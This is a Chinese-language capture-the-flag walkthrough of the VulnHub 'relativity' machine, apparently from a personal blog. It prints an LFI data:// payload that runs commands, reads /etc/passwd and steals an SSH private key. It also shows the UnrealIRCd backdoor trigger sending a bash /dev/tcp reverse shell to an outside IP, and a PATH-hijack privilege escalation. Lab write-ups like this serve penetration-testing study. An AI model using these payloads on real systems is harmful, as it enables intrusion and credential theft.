/dev/random: relativity (v1.0.1)
项目地址:https://download.vulnhub.com/devrandom/relativity_1.0.1.zip
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

80 端口是静态页面,只有一张图片

观察到 banner 有一个 mod_sql

mod_sql 是 ProFTPD 用于支持数据库后端验证的一个知名模块
明确使用了 SQL 模块,说明该 FTP 的账号密码并不是存储在 /etc/shadow 等系统文件中,而是存储在后端的数据库(如 MySQL、PostgreSQL)中
继续让 AI 吐出历史 CVE

SQL
mod_sql(CVE-2009-0542)
在 Exploit DB 中搜索到历史 POC

1 | # 测试发现需要将结尾的注释符 -- 替换成 # |
账号输入上面的 Payload,密码则按照 POC 的描述输入 1
成功登录进去

LFI
page
发现网站下有个隐藏文件

从 Web 访问这个目录多了一个页面
1 | 0f756638e0737f4a0de1c53bf8937a08 |

几个页面点着看发现 URL 参数中的 page 一直在变化,且值是文件名

尝试任意文件读取不行

再尝试下通过 data 伪协议打本地文件包含
1 | data://text/plain, <?php system("whoami");?> |

弱口令
SSH
查看 etc/passwd 文件内容发现有两个普通用户
1 | ?page=data://text/plain,%20<?php%20system("cat%20/etc/passwd");?> |

发现 mauk 用户有读权限
1 | ?page=data://text/plain,%20<?php%20system("ls%20-l%20/home");?> |

加上 -a 参数查看有哪些文件
1 | ?page=data://text/plain,%20<?php%20system("ls%20-la%20/home/mauk");?> |

发现有 .ssh 文件夹,进去看看
1 | ?page=data://text/plain,%20<?php%20system("ls%20-la%20/home/mauk/.ssh");?> |

居然有私钥,窃取出来远程连接
1 | ?page=data://text/plain,%20<?php%20system("cat%20/home/mauk/.ssh/id_rsa");?> |

让 AI 格式化下
1 | -----BEGIN RSA PRIVATE KEY----- |

修改权限后成功连接上用户 mauk
1 | ┌──(root㉿kali)-[/tmp] |

内网穿透
SSH 转发
登录上来发现没权限没 wget 命令,只能找找别的一些文件看有没有作用了
做信息收集发现该用户 .bash_history 文件有内容,于是查看

1 | ssh -f root@192.168.144.228 -R 6667:127.0.0.1:6667 -N |
-f 参数
- 作用:让 SSH 在认证完成后转到后台运行
-R 6667:127.0.0.1:6667 参数
-R:建立远程端口转发- 格式:
-R [远程主机:]远程端口:本地主机:本地端口 - 具体含义:
- 完整解释:将远程服务器(192.168.144.228)的 6667 端口转发到本地机器的 6667 端口
-N 参数
- 作用:不执行远程命令
- 效果:只建立隧道连接,不打开远程 shell 会话

跟着 AI 的结果去排查,首先第一个就可以排除,因为只有一台靶机
那么接下来来看第二个,看看有没有这个端口
1 | netstat -ano |

真有 6667 端口
6667 端口是 IRC 服务的标准端口,IRC 是一种古老的、基于文本的实时聊天协议
看看 AI 的渗透思路

那么接下来就用 SSH 做端口转发
1 | ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -i /tmp/.ssh/id_rsa -L 6667:127.0.0.1:6667 mauk@192.168.202.162 |

RCE
UnrealIRCd(CVE-2010-2075)
使用 nmap 扫描转发到本地的 6667 端口,看看什么版本

搜索这个服务名 UnrealIRCD 只有一个 Payload 能打,但是失败了

翻找源码
1 | class MetasploitModule < Msf::Exploit::Remote |
在 2009 年 11 月到 2010 年 6 月期间,UnrealIRCd 的官方镜像站点被黑客入侵,源码包(Unreal3.2.8.1.tar.gz)被替换。黑客在核心代码 s_serv.c 中加入了一段看似不起眼但极其致命的代码:
逻辑伪代码: 如果接收到的字符串前两个字符是
AB,则跳过 IRC 协议解析,直接调用system()函数执行其后的命令
所以我们尝试手动复现
1 | # 尝试在目标机 /tmp 目录下创建一个探测文件 |

成功

直接反弹 Shell
1 | echo "AB; bash -i >& /dev/tcp/192.168.202.128/9999 0>&1" | nc -vn 127.0.0.1 6667 |


提权
Python 升级为交互式 Shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |

环境变量劫持
按照上面给的提示,我们可以以 root 身份无需密码运行这个程序

报错 error: (12) 也并没有提权成功,检查一下字符串
1 | strings auth_server |

这里有个关键内容,扔给 AI 也可以直接出
1 | fortune -s | /usr/bin/cowsay |
fortune -sfortune:显示随机名言/格言/笑话的程序-s参数:short 模式,只显示简短的名言
|:管道符号,将前一个命令的输出作为后一个命令的输入/usr/bin/cowsaycowsay:将一个 ASCII 艺术牛说话的程序/usr/bin/:命令的完整路径
cowsay 使用了绝对路径 (/usr/bin/cowsay),这很难利用
但 fortune 没有使用绝对路径
既然 auth_server 可以通过 sudo 运行,且它在调用 fortune 时是去系统的 $PATH 中搜索该程序
那么,如果我们能伪造一个“恶意的” fortune 命令并让程序先找到它,我们就能获得 root 权限
1 | # 准备程序 |
由于我们修改了 $PATH,系统会优先在 /tmp 下找到我们的恶意 fortune 并以 root 权限执行
